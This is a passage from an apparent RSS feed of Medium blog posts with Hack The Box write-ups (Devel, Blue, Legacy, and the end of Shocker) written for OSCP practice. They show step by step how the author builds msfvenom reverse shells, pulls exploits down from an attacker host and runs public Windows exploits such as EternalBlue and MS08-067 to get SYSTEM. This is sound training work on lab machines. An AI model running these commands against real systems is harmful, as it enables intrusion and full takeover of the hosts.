the /cgi-bin directory but we had access to the user.sh inside the directory.The 2nd vulnerability is the web server executing bash commands which was vulnerable to Shellshock which gave us initial foothold.3rd vulnerability was another misconfiguration which gave us sudo access to run perl escalating priveleges in the end.</p><p>So the remediations, we need to do is to restrict access to all the files in the directory and patch the system.</p><h3>Conclusion</h3><p>Thank you for taking the time to read my write-up and I hope it was helpful. I will be continuing to tackle the TJ_Null’s list of recommended HTB Machines in order to best prepare for OSCP. Please consider following me for more such content.</p><p>p.s. I am always open to any suggestions and new ideas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*Y6tO2Cuj9Hsl47-aJp9wpA.png" /><figcaption>TJ_Null’s OSCP-like Machines List</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d4c5393eadc" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/oscp-preparation-hack-the-box-5-shocker-d4c5393eadc">OSCP Preparation — Hack The Box #5 Shocker</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP Preparation — Hack The Box #4 Devel]]></title>
            <link>https://systemweakness.com/oscp-preparation-hack-the-box-4-devel-7278025bce4e?source=rss-693aff8d776b------2</link>
            <guid isPermaLink="false">https://medium.com/p/7278025bce4e</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Tufail]]></dc:creator>
            <pubDate>Thu, 30 Mar 2023 07:58:42 GMT</pubDate>
            <atom:updated>2023-04-11T12:25:18.007Z</atom:updated>
            <content:encoded><![CDATA[<h3>OSCP Preparation — Hack The Box #4 Devel</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iKBOMSFS7CpC18_n0AzlvA.png" /></figure><p>Hey guys Hope Everyone is doing well.</p><p>This is the 4th blog out of a series of blogs i will be publishing on HTB Retired machines to document my progress to prepare for the OSCP. The Complete List of OSCP-like boxes created by TJ_Null can be found in this link — <a href="https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#">HTB VMs</a></p><p>Lets Begin!</p><h3>Reconnaissance</h3><p>First up,Lets run a full TCP and UDP Scan.</p><blockquote>nmap -sT -p- --min-rate 10000 -oA Nmap/tcpscan 10.10.10.5</blockquote><ul><li><strong>-sT : </strong>TCP connect port scan</li><li><strong>-p- : </strong>Port scan all ports</li><li><strong>--min-rate : </strong>Send packets no slower than &lt;number&gt; per second</li><li><strong>-oA : </strong>Output in three major formats at once</li></ul><p>We find port 21 and 80 open in the TCP Scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*gntS4kSKwO7OSPd0M67C-A.png" /><figcaption>Nmap TCP Scan</figcaption></figure><blockquote>nmap -sU -p- --min-rate 10000 -oA Nmap/udpscan 10.10.10.5</blockquote><ul><li><strong>-sU :</strong> UDP port scan</li></ul><p>all ports seem to be in ignored state in the UDP Scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*W6F2rL684wGI6QQcm1ONsA.png" /><figcaption>Nmap UDP Scan</figcaption></figure><p>Lets perform a broad and deep scan on the specific ports to find more information.</p><blockquote>nmap -sC -sV -p 21,80 -oA Nmap/fullscan 10.10.10.5</blockquote><ul><li><strong>-sC :</strong> Scan with default NSE scripts</li><li><strong>-sV :</strong> determines the service version</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*zvvFwojvBgGi9acntLUaaw.png" /><figcaption>Nmap Full Scan</figcaption></figure><p>We get back the following result about the ports:</p><p><strong>Port 21</strong>: ftp Microsoft ftpd and Anonymous FTP login is allowed.</p><p><strong>Port 80</strong>: http Microsoft IIS httpd 7.5.</p><p>So as per our recon ,our mode mode of entry will be through port 80 &amp; port 21.</p><h3>Enumeration</h3><p>FTP has anonymous login allowed, So lets login with with the username “anonymous” and any password to access the files on the server.</p><blockquote>ftp 10.10.10.5</blockquote><blockquote>ls</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*JKRNS6MbrPjysQSlkefcng.png" /><figcaption>FTP Anonymous Login</figcaption></figure><p>As we logged, there are 3 files in the current directory.</p><p>Lets Try navigating to one of these files in the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cwCqTjokA6ECZ0JtBf37lw.png" /><figcaption>iisstart.htm web page</figcaption></figure><p>The FTP server seems to be in the same root as the HTTP server.So we can try uploading any file in the ftp server and if it works we will be able to upload a reverse shell.</p><p>To test out our theory, we’ll create a test.html file that displays the word “devel” and upload the file on the ftp server.</p><blockquote>echo “devel” &gt; test.html</blockquote><blockquote>cat test.html</blockquote><blockquote>put test.html</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YqC_oDtRrdCcwVAV72oiFA.png" /><figcaption>testing file upload in ftp</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*ygknRRDGAwyX1OYFTDEVrA.png" /><figcaption>“test.html” is successful</figcaption></figure><p>As you can see our theory is right, the file is uploaded in the ftp server and test.html is running successfully in the web browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*I8gmGp5tNKmP1OXw7MhUlQ.png" /><figcaption>http response header</figcaption></figure><p>So,we can conclude,if we upload a file in the ftp server, and call it in the browser it will get executed by the web server. Inspecting the response header shows that the web server Microsoft IIS version 7.5 is running ASP.NET which means we will need a .aspx webshell.</p><h3>Exploitation</h3><h4>Initial Foothold</h4><p>Let’s use MSFvenom to generate our reverse shell.We will be using the general reverse shell since Meterpreter is not allowed in the OSCP.</p><p>Run the following MSFvenom command to generate the aspx payload.</p><blockquote>msfvenom -p windows/shell_reverse_tcp -f aspx LHOST=10.10.14.5 LPORT=8888 -o rev-shell.aspx</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gSCfeRkTQRQn4UM3-hoxFw.png" /><figcaption>Msfvenom payload</figcaption></figure><p>Now we will upload the generated reverse shell payload on the FTP server and check that it has been uploaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*-87BewKZqR4EDlONAQEYEQ.png" /><figcaption>upload reverse shell in ftp</figcaption></figure><p>Start a netcat listener on the attack machine.</p><blockquote>nc -nvlp 8888</blockquote><p>In the web browser, load the reverse-shell.aspx<strong> </strong>file we uploaded in the FTP server.</p><blockquote>10.10.10.5/rev-shell.aspx</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*udjwN9qQXzxoGi2ignZdqQ.png" /><figcaption>executing aspx file in browser</figcaption></figure><p>We have a shell and it’s running as <strong>iis apppool\web</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*r3y30--3p-f-DfMAgwnysA.png" /><figcaption>Low privileged shell</figcaption></figure><p>Changing the directories and trying to find the flags failed as access to both babis user and Administrator is denied.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*SRCVWtud2J2hWOLIWJPc-w.png" /><figcaption>failed permission</figcaption></figure><p>Since ,We don’t have permission, let’s try to find some info about the OS to see if we can escalate privileges.</p><blockquote>systeminfo</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ngn3Woy9VdH5D9dX1yQBnA.png" /><figcaption>system information</figcaption></figure><p>We have a Microsoft Windows 7 build 7600 system. It’s fairly old and hasn’t been patched, so it’s probably vulnerable to a bunch of exploits.</p><h4>Privilege Escalation</h4><p>There are 2 different exploits we are going to use to escalate privileges.</p><h4>Compile and Execute MS11–046 (Method 1)</h4><p>Using the OS info gathered, we searched for an exploit and found an kernel exploit(MS11–046).</p><p>Lets use searchsploit to get the exploit and download it.</p><blockquote>searchsploit ms11–046</blockquote><blockquote>searchsploit -m 40564.c</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZA3VeVXO24Yc2AH8aAONLA.png" /><figcaption>download the exploit</figcaption></figure><p>Now, we need to compile the exploit. The compilation instructions are in the exploit file which is great.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*VMGS8iexPNbL9AtqnXM2Sg.png" /><figcaption>exploit instructions</figcaption></figure><p>if you don’t have mingw-w64 installed, install using this command.</p><blockquote>apt-get updateapt-get install mingw-w64</blockquote><p>Compile it using the given command.</p><blockquote>i686-w64-mingw32-gcc 40564.c -o 40564.exe -lws2_32</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*Nw2PXyUa7PXl2J4-QqXteA.png" /><figcaption>compile the exploit</figcaption></figure><p>We have a compiled exploit. Now we need transfer the exploit to the target (Devel) machine.</p><p>Start up a http server on our attack(Kali) machine.</p><blockquote>python3 -m http.server 8000</blockquote><p>We will use powershell to transfer the file from our server to a directory we can write to.</p><blockquote>powershell -c “(new-object System.Net.WebClient).DownloadFile(‘<a href="http://10.10.14.5:8000/40564.exe&#39;">http://10.10.14.5:8000/40564.exe&#39;</a>, ‘c:\Users\Public\Downloads\40564.exe’)”</blockquote><p>The file is transferred to the Downloads directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DWxH_ob8FvuysfnPiKjfFw.png" /><figcaption>file transfer in target machine</figcaption></figure><p>Now Execute the exploit and check if it has escalated privileges.</p><blockquote>40564.exe</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*4SMGY2zBK9ufiJGZEhZPqg.png" /><figcaption>“SYSTEM” privilege</figcaption></figure><p>And we have SYSTEM privileges!</p><h4><strong>Execute Pre-compiled MS10–059 Exploit(Method 2)</strong></h4><p>We are going to use the <a href="https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS10-059">MS10–059</a> exploit from Secwiki’s <br><a href="https://github.com/SecWiki/windows-kernel-exploits">windows-kernel-exploits</a> in github. Lets clone into the repository:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*fX33ChTWOrpA_qEw1M_gOQ.png" /><figcaption>MS10_059 repository</figcaption></figure><p>we are going to transfer the file to the target machine via Impacket smbserver</p><blockquote>cp /usr/share/doc/python3-impacket/examples/smbserver.py .</blockquote><blockquote>python smbserver.py share .</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3UERFyi8PBi90v163NCsig.png" /><figcaption>file transfer with smbserver</figcaption></figure><p>In the Target machine, we have to copy the exploit and then execute it with given instructions and catch the shell with nc.</p><blockquote>copy \\10.10.14.5\share\MS10–059.exe</blockquote><blockquote>MS10–059.exe 10.10.14.5 6666</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X0bokB71uBbQVB6GPU0E5Q.png" /><figcaption>copy and execute the exploit</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*Aj4xy6T0c4_4otJ41NtWeQ.png" /><figcaption>“SYSTEM” privilege</figcaption></figure><p>And we have got a Shell!</p><p>Grab the User and Root flags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*v1heO5qRmbFtTVaM0g4Wug.png" /><figcaption>user.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*46OG_gp7RXvRHrtaK7e8kQ.png" /><figcaption>root.txt</figcaption></figure><h3>Lessons Learned</h3><p>This was easy box as well.We managed to exploit the 1st vulnerability through FTP anonymous login and found out that the FTP server shared the root directory of the web server. Therefore, when we uploaded a reverse shell in the FTP server, we were able to run it using the browser. This gave us initial foothold.The 2nd vulnerability was a Windows kernel vulnerability that allowed us to escalate privileges.</p><p>So the remediations, we need to do is to disable anonymous access to the FTP server and only allow downloads thereby restricting the attacker to upload files.The windows system should be patched as we exploited a publicly disclosed vulnerability.</p><h3>Conclusion</h3><p>Thank you for taking the time to read my write-up and I hope it was helpful. I will be continuing to tackle the TJ_Null’s list of recommended HTB Machines in order to best prepare for OSCP. Please consider following me for more such content.</p><p>p.s. I am always open to any suggestions and new ideas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*x1t16ET8V2xPYjZ188C8Hg.png" /><figcaption>TJ_Null’s OSCP-like Machines List</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7278025bce4e" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/oscp-preparation-hack-the-box-4-devel-7278025bce4e">OSCP Preparation — Hack The Box #4 Devel</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP Preparation — Hack The Box #3 Blue]]></title>
            <link>https://systemweakness.com/oscp-preparation-hack-the-box-3-blue-6ac152e4f876?source=rss-693aff8d776b------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ac152e4f876</guid>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Tufail]]></dc:creator>
            <pubDate>Mon, 27 Mar 2023 14:55:12 GMT</pubDate>
            <atom:updated>2023-04-11T12:25:20.446Z</atom:updated>
            <content:encoded><![CDATA[<h3>OSCP Preparation — Hack The Box #3 Blue</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1_28PUBJ0XO6GOyZna2n8w.png" /></figure><p>Hey guys Hope Everyone is doing well.</p><p>This is the 3rd blog out of a series of blogs i will be publishing on HTB Retired machines to document my progress to prepare for the OSCP. The Complete List of OSCP-like boxes created by TJ_Null can be found in this link — <a href="https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#">HTB VMs</a></p><p>Lets Begin!</p><h3>Reconnaissance</h3><p>First up,Lets run a full TCP and UDP Scan.</p><blockquote>nmap -sT -p- --min-rate 10000 -oA Nmap/tcpscan 10.10.10.40</blockquote><ul><li><strong>-sT : </strong>TCP connect port scan</li><li><strong>-p- : </strong>Port scan all ports</li><li><strong>--min-rate : </strong>Send packets no slower than &lt;number&gt; per second</li><li><strong>-oA : </strong>Output in three major formats at once</li></ul><p>We find port 135,139 and 445 open in the TCP Scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*xW0Z02dALCa1AFSIFYY-kg.png" /><figcaption>Nmap TCP Scan</figcaption></figure><blockquote>nmap -sU -p- --min-rate 10000 -oA Nmap/udpscan 10.10.10.40</blockquote><ul><li><strong>-sU :</strong> UDP port scan</li></ul><p>All the ports seem to filtered in the UDP Scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*gKmrmNYqzGNRLVWltbtGRw.png" /><figcaption>Nmap UDP Scan</figcaption></figure><p>Lets perform a broad and deep scan on the specific ports to find more information.</p><blockquote>nmap -sC -sV -p 135,139,445 -oA Nmap/fullscan 10.10.10.40</blockquote><ul><li><strong>-sC :</strong> Scan with default NSE scripts</li><li><strong>-sV :</strong> determines the service version</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*CYrKv5-fyNstLBUPSvfxLw.png" /><figcaption>Nmap Full Scan</figcaption></figure><p>We get back the following result about the ports:</p><p><strong>Port 135</strong>: Microsoft Windows RPC.</p><p><strong>Port 139</strong>: Microsoft Windows netbios-ssn.</p><p><strong>Port 445:</strong> Windows 7 Professional 7601 Service Pack 1 microsoft-ds.</p><p>So as per our recon ,we potentially have only one point of entry to this machine which is through exploiting SMB.</p><h3>Enumeration</h3><h4>SMB (Port 139 and 445)</h4><p>Lets try running smbmap to list shares and smbclient to connect to it.</p><blockquote>smbmap -H 10.10.10.40</blockquote><blockquote>smbclient -L 10.10.10.40</blockquote><blockquote>smbclient //10.10.10.40/users</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*XBY_fHextg1U9R33U-0vlg.png" /><figcaption>smbmap and smbclient</figcaption></figure><p>As we can see above, we can anonymously connect to the shares. however, we do not find any useful information.</p><p>Lets use nmap scripts to check if it is vulnerable:</p><blockquote>nmap -v --script smb-vuln* -p 139,445 10.10.10.40</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n4vaMC8qYb_g3mkn2fNzWQ.png" /><figcaption>nmap smb-vuln script scan</figcaption></figure><p>The box is vulnerable to MS17-010(EternalBlue). Eternal blue exploits Microsoft’s implementation of the Server Message Block (SMB) protocol, where if an attacker sent a malicious crafted packet, the attacker would be allowed to execute arbitrary code on the target machine.</p><h3>Exploitation</h3><p>Before exploiting,We must create a virtual environment to be able to run the exploit as it is quite old and we wont be able to run python2 scripts in python3.</p><h4>Use different Python version with virtualenv</h4><blockquote>virtualenv envblue -p python2</blockquote><blockquote>source envblue/<em>bin</em>/activate</blockquote><blockquote>python --version</blockquote><p>We create a virtual environment <strong>“envblue” </strong>and activate it . Verifying the version tells us its now python 2.7.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*oeqrrHn7lf83ZXVxfooS3w.png" /><figcaption>Activating a virtual environment</figcaption></figure><h4>EXPLOITING MS17–010</h4><p>We are going to use the exploit code from <a href="https://github.com/helviojunior/MS17-010/blob/master/send_and_execute.py">helviojunior</a> ,Lets clone into the repository:</p><blockquote>git clone <a href="https://github.com/helviojunior/MS17-010.git">https://github.com/helviojunior/MS17-010.git</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-KSD3-ed2pU1xMIUnmDHg.png" /><figcaption>MS17–010 repository</figcaption></figure><p>Now Use MSFvenom to create a reverse shell payload (allowed on the OSCP as long as we are not using meterpreter).</p><blockquote>msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4321 -f exe &gt; eternalblue.exe</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gy6u2w71LpfQNE266rSaVA.png" /><figcaption>msfvenom reverse shell payload</figcaption></figure><p>Start up a “nc” listener on attack machine:</p><blockquote>nc -nlvp 4321</blockquote><p>Before executing the script,We need to install pip2 and install impacket for python2.</p><blockquote>curl <a href="https://bootstrap.pypa.io/pip/2.7/get-pip.py">https://bootstrap.pypa.io/pip/2.7/get-pip.py</a> -o get-pip.py</blockquote><blockquote>pip2 install impacket</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OrpLFtT8BSWjec0P04A40g.png" /><figcaption>install pip2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tTMHuR2AgNDeXJCf1Jw2gg.png" /><figcaption>install impacket for python2</figcaption></figure><p>with enum4linux, we find guest login is supported.</p><blockquote>enum4linux -a 10.10.10.40</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5wVRjHgbExZPl0JNLeQINQ.png" /><figcaption>check for guest login</figcaption></figure><p>Now,we need to add a string “guest” in the send_and_execute.py script as when we try to exploit with username as an empty string, it won’t authorize.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3XWHBXpmq8_h7pZQqSVwDg.png" /><figcaption>add “guest” as Username</figcaption></figure><p>Lets Execute the Exploit now.</p><blockquote>python send_and_execute.py 10.10.10.4 eternalblue.exe</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*27yWU52R16SwSUiSnCb11Q.png" /><figcaption>run the exploit</figcaption></figure><p>We get a reverse shell with System Privileges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*q9rEu8Tt5twZH2_LlQw8oA.png" /><figcaption>reverse shell</figcaption></figure><p>Grab the User and Root flags</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*N2vCWMY-1s0_3Hb2q7eD9A.png" /><figcaption>user.txt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*hkRCWTlbNk2O76h4390pYw.png" /><figcaption>root.txt</figcaption></figure><h3>Lessons Learned</h3><p>This was quite an easy box as well with a similar approach like the Legacy machine.We need to always update our software as even in this box we exploited vulnerable outdated version of SMB. So,we need to upgrade to the latest version of Windows.Also it is quite important to analyse and troubleshoot the exploit script as in this case,we had to make small changes to execute our exploit successfully.</p><h3>Conclusion</h3><p>Thank you for taking the time to read my write-up and I hope it was helpful. I will be continuing to tackle the TJ_Null’s list of recommended HTB Machines in order to best prepare for OSCP. Please consider following me for more such content.</p><p>p.s. I am always open to any suggestions and new ideas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*RaAvlNw6wOZbQH6vndq7yQ.png" /><figcaption>TJ_Null’s OSCP-like Machines List</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ac152e4f876" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/oscp-preparation-hack-the-box-3-blue-6ac152e4f876">OSCP Preparation — Hack The Box #3 Blue</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSCP Preparation — Hack The Box #2 Legacy]]></title>
            <link>https://systemweakness.com/oscp-preparation-hack-the-box-2-legacy-557dc3f0e384?source=rss-693aff8d776b------2</link>
            <guid isPermaLink="false">https://medium.com/p/557dc3f0e384</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Tufail]]></dc:creator>
            <pubDate>Sat, 25 Mar 2023 08:02:53 GMT</pubDate>
            <atom:updated>2023-04-11T12:25:25.329Z</atom:updated>
            <content:encoded><![CDATA[<h3>OSCP Preparation — Hack The Box #2 Legacy</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-WOQziH5T3xMz46x-wo44A.png" /></figure><p>Hey guys Hope Everyone is doing well.</p><p>This is the 2nd blog out of a series of blogs i will be publishing on HTB Retired machines to document my progress to prepare for the OSCP. The Complete List of OSCP-like boxes created by TJ_Null can be found in this link — <a href="https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#">HTB VMs</a></p><p>Lets Begin!</p><h3>Reconnaissance</h3><p>First up,Lets run a full TCP and UDP Scan.</p><blockquote>nmap -sT -p- --min-rate 10000 -oA Nmap/tcpscan 10.10.10.4</blockquote><ul><li><strong>-sT : </strong>TCP connect port scan</li><li><strong>-p- : </strong>Port scan all ports</li><li><strong>--min-rate : </strong>Send packets no slower than &lt;number&gt; per second</li><li><strong>-oA : </strong>Output in three major formats at once</li></ul><p>We find port 135,139 and 445 open in the TCP Scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*EdtE7pfWRW4adL-buy1c2w.png" /><figcaption>Nmap TCP Scan</figcaption></figure><blockquote>nmap -sU -p- --min-rate 10000 -oA Nmap/udpscan 10.10.10.4</blockquote><ul><li><strong>-sU :</strong> UDP port scan</li></ul><p>We find port 123 and 137 open with other ports seem to be filtered in the UDP Scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*Xx4ROgNMwT9tZv4Uwhi23w.png" /><figcaption>Nmap UDP Scan</figcaption></figure><p>Lets perform a broad and deep scan on the specific ports to find more information.</p><blockquote>nmap -sC -sV -p 135,139,445 -oA Nmap/fullscan 10.10.10.4</blockquote><ul><li><strong>-sC :</strong> Scan with default NSE scripts</li><li><strong>-sV :</strong> determines the service version</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*KVncImN01uuwlWku8SuUOw.png" /><figcaption>Nmap Full Scan</figcaption></figure><p>We get back the following result about the ports:</p><p><strong>Port 135</strong>: Microsoft Windows RPC.</p><p><strong>Port 139</strong>: Microsoft Windows netbios-ssn.</p><p><strong>Port 445:</strong> Windows XP microsoft-ds.</p><p>So as per our recon ,we potentially have only one point of entry to this machine which is through exploiting SMB.</p><h3>Enumeration</h3><h4>SMB (Port 139 and 445)</h4><p>Lets try running smbmap to list shares and smbclient to connect to it.</p><blockquote>smbmap -H 10.10.10.4</blockquote><blockquote>smbclient -L 10.10.10.4</blockquote><p>we fail to get any access to login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*wo5lbt493Ck5ldjwrKcLAw.png" /><figcaption>smbmap and smbclient</figcaption></figure><p>SMB has quite a lot of vulnerabilities, so lets use nmap scripts to check if it is vulnerable:</p><blockquote>nmap -v --script smb-vuln* -p 139,445 10.10.10.4</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gQ_fqWkih0V1mVrnM4i5Tw.png" /><figcaption>nmap smb-vuln script scan</figcaption></figure><p>The result shows us that it is vulnerable to CVE-2008–4250(MS08–067) and CVE-2017–0143(MS17–010).</p><h3>Exploitation</h3><p>Before exploiting,We must create a virtual environment to be able to run the exploits as they are quite old and we wont be able to run python2 scripts in python3. I had a whole heap of issues with the syntax trying to change the scripts to python3 resulting in the exploit being unstable.</p><h4>Use different Python version with virtualenv</h4><blockquote>virtualenv myenv -p python2</blockquote><blockquote>source myenv/<em>bin</em>/activate</blockquote><blockquote>python --version</blockquote><p>We create a virtual environment <strong>“myenv” </strong>and activate it . Verifying the version tells us its now python 2.7.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*8jtCkyb5giexlgCcId0Tiw.png" /><figcaption>Activating a virtual environment</figcaption></figure><h4>EXPLOITING MS17–010 (METHOD 1)</h4><p>The vulnerability we are going to exploit is the famous Eternal Blue. This vulnerability exploited Microsoft’s implementation of the Server Message Block (SMB) protocol, where if an attacker sent a malicious crafted packet, the attacker would be allowed to execute arbitrary code on the target machine.</p><p>We are going to use the exploit code from <a href="https://github.com/helviojunior/MS17-010/blob/master/send_and_execute.py">helviojunior</a> ,Lets clone into the repository:</p><blockquote>git clone <a href="https://github.com/helviojunior/MS17-010.git">https://github.com/helviojunior/MS17-010.git</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nvGJSCK-69XJVCDYEmtIbw.png" /><figcaption>MS17–010 repository</figcaption></figure><p>Now Use MSFvenom to create a reverse shell payload (allowed on the OSCP as long as we are not using meterpreter).</p><blockquote>msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4321 -f exe &gt; eternalblue.exe</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Okhh-WgDqlI1Y3schOyKA.png" /><figcaption>msfvenom reverse shell payload</figcaption></figure><p>Start up a “nc” listener on attack machine:</p><blockquote>nc -nlvp 4321</blockquote><p>Before executing the script,We need to install pip2 and install impacket for python2.</p><blockquote>curl <a href="https://bootstrap.pypa.io/pip/2.7/get-pip.py">https://bootstrap.pypa.io/pip/2.7/get-pip.py</a> -o get-pip.py</blockquote><blockquote>pip2 install impacket</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*r5NSs_E6PHnDVvCmov0sUA.png" /><figcaption>install pip2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DK_jpTeO6YqGI8qZU4qTUg.png" /><figcaption>install impacket for python2</figcaption></figure><p>Lets Execute the Exploit now.</p><blockquote>python send_and_execute.py 10.10.10.4 eternalblue.exe</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*hZV8QygYg1WIQXVi5iJssw.png" /><figcaption>run the exploit</figcaption></figure><p>We get a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*1aoIl0e-w84t5YnBMSYvlg.png" /><figcaption>reverse shell</figcaption></figure><h4>EXPLOITING MS08–067 (METHOD 2)</h4><p>A quick google search for ms08–067 gave me an exploit code by <a href="https://github.com/andyacer/ms08_067">andyacer</a>,Lets clone into the repository:</p><blockquote>git clone <a href="https://github.com/andyacer/ms08_067">https://github.com/andyacer/ms08_067</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*FKcP98jbXG-ZLqgMChiWaw.png" /><figcaption>MS08_067 repository</figcaption></figure><p>On Analysing the python script,we find the developer was kind enough to include msfvenom payloads to use,which we can execute to generate a new shellcode to replace the default one in the script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w8KWjHiaZG6tj8R2rmESxg.png" /><figcaption>ms08_067 script</figcaption></figure><blockquote>msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 EXITFUNC=thread -b “\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40” -f c -a x86 --platform windows</blockquote><p>Executing the Msfvenom payload generates the new shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bQnGpPTmPra-AuaCqJgPRg.png" /><figcaption>generated new shellcode</figcaption></figure><p>Replace the block of default shellcode in the script with our newly created shellcode.</p><p>Now that our exploit is ready,Lets start up the netcat listener.</p><blockquote>nc -nlvp 443</blockquote><p>This exploit gives a few options depending on the OS and Service Pack.Based on our enumeration, We know it’s Windows XP,So a bit of trial and error with the exploit we find option 6 is the right one.</p><blockquote>python2 ms08_067_2018.py 10.10.10.4 6 